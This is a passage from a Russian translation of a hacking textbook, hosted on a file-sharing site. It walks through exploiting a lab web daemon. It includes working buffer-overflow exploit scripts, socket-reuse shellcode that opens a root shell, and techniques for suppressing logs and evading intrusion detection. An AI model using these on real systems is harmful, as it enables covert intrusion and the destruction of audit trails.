Главная страница
Навигация по странице:

  • 0x662 Эксплойт без записи в журнал

  • 0x670 Инфраструктура в целом

  • 0x671 Повторное использование сокетов

  • Фрагмент tinywebd.c

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница40 из 51
    1   ...   36   37   38   39   40   41   42   43   ...   51

    0xbffff7e4: 0xbffff5cf
    0x00000a00 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002
    (gdb) print client_addr_ptr
    $3 = (struct sockaddr_in *) 0xbffff5cf
    (gdb) print client_addr_ptr
    $4 = (struct sockaddr_in *) 0xbffff5cf
    (gdb) print *client_addr_ptr
    $5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580},
    sin_zero = “\000\000\000\000_
    (gdb) x/s log_buffer
    0xbffff1c0: “From 12.34.56.78:9090 \”GET / HTTP/1.1\”\t”
    (gdb)
    В первой точке останова видно, что client_addr_ptr находится по адресу
    0xbffff7e4
    и содержит 0xbffff810. Это адрес в стеке через два двойных сло- ва после адреса возврата. Остановка во второй контрольной точке проис- ходит уже после перезаписи, поэтому мы видим, что client_addr_ptr по адресу 0xbffff7e4а заменен на 0xbffff5cf – адрес внедренной структуры sockaddr_in
    . Тут можно заглянуть в log_buffer перед тем, как он записы- вается в журнал, и убедиться, что замена адреса (спуфинг) сработала.
    0x662 Эксплойт без записи в журнал
    В идеале лучше не оставлять никаких следов. Если вы работаете в сре- де, предоставляемой загрузочным диском
    1
    , то можете, получив оболоч- ку root, просто уничтожить журналы. Но предположим, что эта про- грамма выполняется в защищенной инфраструктуре, где журнальные файлы копируются на особые защищенные серверы с жестко ограни- ченным доступом или печатаются на принтере. В такой ситуации уда- ление журнала вам не поможет. Функция timestamp() в демоне tinyweb защищает себя тем, что пишет непосредственно в дескриптор открыто- го файла. Помешать вызову этой функции мы не можем, как не можем отменить запись в файл. Такая мера защиты была бы эффективной, но она была плохо реализована. Фактически, мы уже сталкивались с та- кой задачей в предыдущем эксплойте.
    Несмотря на то что переменная logfd глобальная, она тоже передается функции handle_connection() как аргумент. Если вспомнить, как фор- мируется контекст функции, то становится ясным, что при этом в сте-
    1
    www.symbol.ru/library/hacking-2ed. – Прим. ред.

    0x660 Усиленные меры маскировки
    393
    ке создается еще одна переменная с тем же именем logfd. Это аргумент находится в стеке сразу после client_addr_ptr, поэтому его частично пе- рекрывают нулевой конец строки и лишний байт 0x0a, находящиеся в конце буфера эксплойта.
    (gdb) x/xw &client_addr_ptr
    0xbffff7e4: 0xbffff5cf
    (gdb) x/xw &logfd
    0xbffff7e8: 0x00000a00
    (gdb) x/4xb &logfd
    0xbffff7e8: 0x00 0x0a 0x00 0x00
    (gdb) x/8xb &client_addr_ptr
    0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00
    (gdb) p logfd
    $6 = 2560
    (gdb) quit
    The program is running. Quit anyway (and detach it)? (y or n) y
    Detaching from program: , process 27264
    reader@hacking:

    /booksrc $ sudo kill 27264
    reader@hacking:/booksrc $
    Если только дескриптор файла не равен случайно 2560 (0x0a00 в шест- надцатеричном виде), все попытки handle_connection() выполнить за- пись в журнал должны оканчиваться неудачей. Это легко увидеть с по- мощью strace. Ниже показан запуск strace с аргументом -p, чтобы под- ключиться к выполняющемуся процессу. Аргумент -e trace=write со- общает strace, что нужно показывать только вызовы write. Здесь снова с другого терминала запускается инструмент эксплойта, чтобы выпол- нить соединение и подтолкнуть выполнение.
    reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd reader@hacking:/booksrc $ sudo strace -p 478 -e trace=write
    Process 478 attached - interrupt to quit write(2560, “09/19/2007 23:29:30> “, 21) = -1 EBADF (Bad file descriptor)
    write(2560, “From 12.34.56.78:9090 \”GET / HTT”.., 47) = -1 EBADF (Bad file descriptor)
    Process 478 detached reader@hacking:/booksrc $
    Здесь явно видно, что попытки записи в журнальный файл оказывают- ся неудачными. В обычных условиях мы не смогли бы затереть пере- менную logfd, потому что путь нам преградил бы client_addr_ptr. Нео- сторожное изменение этого указателя обычно приводит к аварийному завершению. Но заставив эту переменную указывать на допустимый адрес (нашу внедренную адресную структуру), теперь мы можем за- тереть переменные, находящиеся дальше. Демон tinyweb переадресу- ет стандартный вывод на /dev/null, поэтому в следующем скрипте экс-

    394
    0x600 Противодействие плойта мы заменим переменную на 1, что соответствует стандартному выводу. Тем самым мы помешаем делать запись в журнальный файл, но гораздо лучшим образом – без всяких ошибок.
    xtool_tinywebd_silent.sh
    #!/bin/sh
    # Инструмент скрытого эксплойта для tinywebd,
    # также подделывает IP-адрес в памяти
    SPOOFIP=”12.34.56.78”
    SPOOFPORT=”9090”
    if [ -z “$2” ]; then # If argument 2 is blank echo “Usage: $0
    exit fi
    FAKEREQUEST=”GET / HTTP/1.1\x00”
    FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
    OFFSET=540
    RETADDR=”\x24\xf6\xff\xbf” # В +100 байтах от буфера @ 0xbffff5c0
    FAKEADDR=”\xcf\xf5\xff\xbf” # +15 байт от буфера @ 0xbffff5c0
    echo “target IP: $2”
    SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
    echo “shellcode: $1 ($SIZE bytes)”
    echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
    ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
    echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
    [shellcode $SIZE] [ret addr 128] [*fake_addr 8]”
    (perl -e “print \”$FAKEREQUEST\””;
    ./addr_struct “$SPOOFIP” “$SPOOFPORT”;
    perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
    cat $1;
    perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\x01\x00\x00\x00\
    r\n\””) | nc -w 1 -v $2 80
    При использовании этого скрипта эксплойт выполняется совершенно незаметно и в журнал ничего не записывается.
    reader@hacking:/booksrc $ sudo rm /Hacked reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon..
    reader@hacking:/booksrc $ ls -l /var/log/tinywebd.log
    -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1
    target IP: 127.0.0.1
    shellcode: mark_restore (53 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128]
    [*fake_addr 8]

    0x670 Инфраструктура в целом
    395
    localhost [127.0.0.1] 80 (www) open reader@hacking:/booksrc $ ls -l /var/log/tinywebd.log
    -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:/booksrc $ ls -l /Hacked
    -rw------- 1 root reader 0 2007-09-19 23:35 /Hacked reader@hacking:/booksrc $
    Обратите внимание: размер и время доступа к журнальному файлу не меняются. С помощью такого приема можно выполнять эксплойт
    tinywebd без всяких следов в журналах. Кроме того, запись выполняет- ся чисто, так как все пишется в /dev/null. Это можно увидеть ниже по результатам strace, когда наш инструмент скрытого эксплойта запуска- ется на другом терминале.
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd reader@hacking:/booksrc $ sudo strace -p 478 -e trace=write
    Process 478 attached - interrupt to quit write(1, “09/19/2007 23:36:31> “, 21) = 21
    write(1, “From 12.34.56.78:9090 \”GET / HTT”.., 47) = 47
    Process 478 detached reader@hacking:/booksrc $
    0x670 Инфраструктура в целом
    Как часто бывает, детали могут потеряться в общей картине. Отдель- ные узлы обычно составляют часть некой инфраструктуры. Такие контр меры, как системы обнаружения вторжения (intrusion detection systems, IDS) и системы предотвращения вторжения (intrusion pre ven- tion systems, IPS), могут обнаруживать аномальный сетевой трафик.
    Даже в простых журналах маршрутизаторов и межсетевых экранов могут регистрироваться аномальные соединения, свидетельствующие о вторжении. В частности, порт 31337 нашего шелл-кода с обратным со- единением – это серьезный сигнал об опасности. Можно было заменить порт на нечто менее подозрительное, но на веб-сервере любое исходящее соединение должно быть сигналом об опасности. В хорошо защищен- ной инфраструктуре межсетевой экран настроен так, что никакие исхо- дящие соединения не допускаются. В такой ситуации открытие нового соединения невозможно или легко обнаруживается.
    0x671 Повторное использование сокетов
    В нашем случае нет необходимости открывать новое соединение, пото- му что у нас уже есть открытый сокет от веб-запроса. Раз уж мы ста- ли возиться с начинкой демона tinyweb, поработаем еще немного с от- ладчиком и посмотрим, как использовать открытый сокет для запу- ска оболочки root. Этим мы избавимся от регистрации лишних соеди-

    396
    0x600 Противодействие нений TCP и сможем осуществлять эксплойт в условиях, когда узел не может открывать исходящие соединения. Взгляните на исходный код
    tinywebd.c, представленный ниже.
    Фрагмент tinywebd.c
    while(1) { // Цикл приема.
    sin_size = sizeof(struct sockaddr_in);
    new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);
    if(new_sockfd == -1)
    fatal(“accepting connection”);
    handle_connection(new_sockfd, &client_addr, logfd);
    }
    return 0;
    }
    /* Эта функция обрабатывает соединение на переданном сокете от переданного
    * адреса клиента. Соединение обрабатывается как веб-запрос, и эта функция
    * отвечает через сокет соединения. В конце работы функции этот сокет
    * закрывается.
    */
    void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {
    unsigned char *ptr, request[500], resource[500], log_buffer[500];
    int fd, length;
    length = recv_line(sockfd, request);
    К сожалению, переменная sockfd, передаваемая в handle_connection(), будет неизбежно затерта, когда мы попытаемся затереть logfd. Это про- изойдет раньше, чем мы сможем управлять программой в шелл-коде, поэтому восстановить прежнее значение sockfd не удастся. К счастью, main()
    сохраняет другой экземпляр дескриптора файла сокета в пере- менной new_sockfd.
    reader@hacking:/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1284 0.0 0.0 2880 748 pts/1 R+ 23:42 0:00 grep tinywebd reader@hacking:/booksrc $ gcc -g tinywebd.c reader@hacking:/booksrc $ sudo gdb -q–pid=478 ––symbols=./a.out warning: not using untrusted file “/home/reader/.gdbinit”
    Using host libthread_db library “/lib/tls/i686/cmov/libthread_db.so.1”.
    Attaching to process 478
    /cow/home/reader/booksrc/tinywebd: No such file or directory.
    A program is being debugged already. Kill it? (y or n) n
    Program not killed.
    (gdb) list handle_connection
    77 /* Эта функция обрабатывает соединение на переданном сокете от
    78 * переданного адреса клиента. Соединение обрабатывается как веб-
    79 * запрос, и эта функция отвечает через сокет соединения. В конце
    80 * работы функции этот сокет закрывается.
    81 */

    0x670 Инфраструктура в целом
    397
    82 void handle_connection(int sockfd, struct sockaddr_in
    *client_addr_ptr, int logfd) {
    83 unsigned char *ptr, request[500], resource[500], log_buffer[500];
    84 int fd, length;
    85 86 length = recv_line(sockfd, request);
    (gdb) break 86
    Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.
    (gdb) cont
    Continuing.
    После того как установлена точка останова и программа продолжена, с другого терминала запускается инструмент скрытого эксплойта для соединения и дальнейшего выполнения.
    Breakpoint 1, handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request);
    (gdb) x/x &sockfd
    0xbffff7e0: 0x0000000d
    (gdb) x/x &new_sockfd
    No symbol “new_sockfd” in current context.
    (gdb) bt
    #0 handle_connection (sockfd=13, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86
    #1 0x08048fb7 in main () at tinywebd.c:72
    (gdb) select-frame 1
    (gdb) x/x &new_sockfd
    0xbffff83c: 0x0000000d
    (gdb) quit
    The program is running. Quit anyway (and detach it)? (y or n) y
    Detaching from program: , process 478
    reader@hacking:/booksrc $
    Этот отладочный вывод показывает, что new_sockfd хранится по адресу
    0xbffff83c в кадре стека main. С учетом этого можно написать шелл-код, использующий этот сохраненный дескриптор файла сокета, не созда- вая нового соединения.
    Можно было бы прямо использовать этот адрес, но есть всякие мелочи, из-за которых память стека может сместиться. Если это произойдет, а в шелл-коде будет использоваться жестко зафиксированный адрес стека, то эксплойт не сработает. Чтобы сделать шелл-код более надеж- ным, стоит приглядеться к тому, как компилятор поступает с перемен- ными, находящимися в стеке. Если использовать адреса относитель- но ESP, то даже если стек немного сместится, адрес new_sockfd останет- ся правильным, потому что его смещение относительно ESP сохранит- ся. Ранее при отладке шелл-кода mark_break выяснилось, что ESP равен
    0xbffff7e0
    . В таком случае нужное смещение составит 0x5c байт.
    reader@hacking:/booksrc $ gdb -q
    (gdb) print /x 0xbffff83c - 0xbffff7e0

    398
    0x600 Противодействие
    $1 = 0x5c
    (gdb)
    В следующем шелл-коде для оболочки root используется уже имею- щийся сокет.
    socket_reuse_restore.s
    BITS 32
    push BYTE 0x02 ; fork - системный вызов 2
    pop eax int 0x80 ; В дочернем процессе после ветвления eax == 0.
    test eax, eax jz child_process ; В дочернем процессе – запустить оболочку.
    ; В родительском процессе – восстановить tinywebd.
    lea ebp, [esp+0x68] ; Восстановить EBP.
    push 0x08048fb7 ; Адрес возврата.
    ret ; Возврат child_process:
    ; Повторно использовать имеющийся сокет.
    lea edx, [esp+0x5c] ; Поместить адрес new_sockfd в edx.
    mov ebx, [edx] ; Поместить значение new_sockfd в ebx.
    push BYTE 0x02
    pop ecx ; ecx начинается с 2.
    xor eax, eax xor edx, edx dup_loop:
    mov BYTE al, 0x3F ; dup2 – системный вызов 63
    int 0x80 ; dup2(c, 0)
    dec ecx ; Обратный счет до 0
    jns dup_loop ; Если флаг знака не установлен, ecx не отрицательный.
    ; execve(const char *filename, char *const argv [], char *const envp[])
    mov BYTE al, 11 ; execve – системный вызов 11
    push edx ; Протолкнуть нули конца строки.
    push 0x68732f2f ; Протолкнуть в стек “//sh”.
    push 0x6e69622f ; Протолкнуть в стек “/bin”.
    mov ebx, esp ; Поместить адрес “/bin//sh” в ebx.
    push edx ; Протолкнуть в стек 32-разрядный нулевой указатель.
    mov edx, esp ; Это пустой массив для envp.
    push ebx ; Протолкнуть в стек адрес строки.
    mov ecx, esp ; Это массив argv с указателем строки.
    int 0x80 ; execve(“/bin//sh”, [“/bin//sh”, NULL], [NULL])
    Чтобы эффективно использовать этот шелл-код, нам понадобится дру- гой инструмент эксплойта, с помощью которого можно передать бу- фер эксплойта, но сохранить сокет для последующего ввода/выво- да. В этом новом скрипте в конец буфера эксплойта добавлена коман- да cat -. Дефис в качестве аргумента означает стандартный ввод. Само

    0x670 Инфраструктура в целом
    399
    по себе выполнение cat на стандартном вводе довольно бессмысленно, но когда команда передает вывод по конвейеру на netcat, стандартный ввод и вывод фактически привязываются к сокету netcat.
    Приведенный ниже скрипт соединяется с приемником, посылает бу- фер эксплойта и, сохраняя сокет открытым, получает потом данные, вводимые с терминала. Весь код отличается от инструмента скрытого эксплойта несколькими изменениями (выделены полужирным).
    xtool_tinywebd_reuse.sh
    #!/bin/sh
    # Инструмент скрытого эксплойта для tinywebd,
    # подделывает IP-адрес, хранящийся в памяти,
    # использует имеющийся сокет – применяйте шелл-код socket_reuse
    SPOOFIP=”12.34.56.78”
    SPOOFPORT=”9090”
    if [ -z “$2” ]; then # Если аргумент 2 пустой echo “Usage: $0
    exit fi
    FAKEREQUEST=”GET / HTTP/1.1\x00”
    FR_SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -f1 -d ‘ ‘)
    OFFSET=540
    RETADDR=”\x24\xf6\xff\xbf” # Через +100 байт от буфера @ 0xbffff5c0
    FAKEADDR=”\xcf\xf5\xff\xbf” # Через +15 байт от буфера @ 0xbffff5c0
    echo “target IP: $2”
    SIZE=`wc -c $1 | cut -f1 -d ‘ ‘`
    echo “shellcode: $1 ($SIZE bytes)”
    echo “fake request: \”$FAKEREQUEST\” ($FR_SIZE bytes)”
    ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
    echo “[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE]
    [shellcode $SIZE] [ret addr 128] [*fake_addr 8]”
    (perl -e “print \”$FAKEREQUEST\””;
    ./addr_struct “$SPOOFIP” “$SPOOFPORT”;
    perl -e “print \”\x90\”x$ALIGNED_SLED_SIZE”;
    cat $1;
    perl -e “print \”$RETADDR\”x32 . \”$FAKEADDR\”x2 . \”\x01\x00\x00\x00\r\n\””;
    cat -;
    ) | nc -v $2 80
    При использовании с шелл-кодом socket_reuse_restore.s оболочка root предоставляется через тот же сокет, на который принят веб-запрос. Это показывает следующий листинг.
    reader@hacking:/booksrc $ nasm socket_reuse_restore.s reader@hacking:/booksrc $ hexdump -C socket_reuse_restore
    00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X..t.l$hh.|
    00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 31 d2 |..T$\.j.Y1.1.|
    00000020 b0 3f cd 80 49 79 f9 b0 0b 52 68 2f 2f 73 68 68 |.?.Iy..Rh//shh|
    00000030 2f 62 69 6e 89 e3 52 89 e2 53 89 e1 cd 80 |/bin.R.S..|

    400
    0x600 Противодействие
    0000003e reader@hacking:/booksrc $ ./tinywebd
    Starting tiny web daemon.
    reader@hacking:/booksrc $ ./xtool_tinywebd_reuse.sh socket_reuse_restore
    127.0.0.1
    target IP: 127.0.0.1
    shellcode: socket_reuse_restore (62 bytes)
    fake request: “GET / HTTP/1.1\x00” (15 bytes)
    [Fake Request 15] [spoof IP 16] [NOP 323] [shellcode 62] [ret addr 128]
    [*fake_addr 8]
    localhost [127.0.0.1] 80 (www) open whoami root
    Благодаря повторному использованию сокета этот эксплойт оказывает- ся еще скрытым, потому что он не создает новых соединений. Чем мень- ше соединений, тем меньше аномалий смогут обнаружить средства за- щиты.
    1   ...   36   37   38   39   40   41   42   43   ...   51


    написать администратору сайта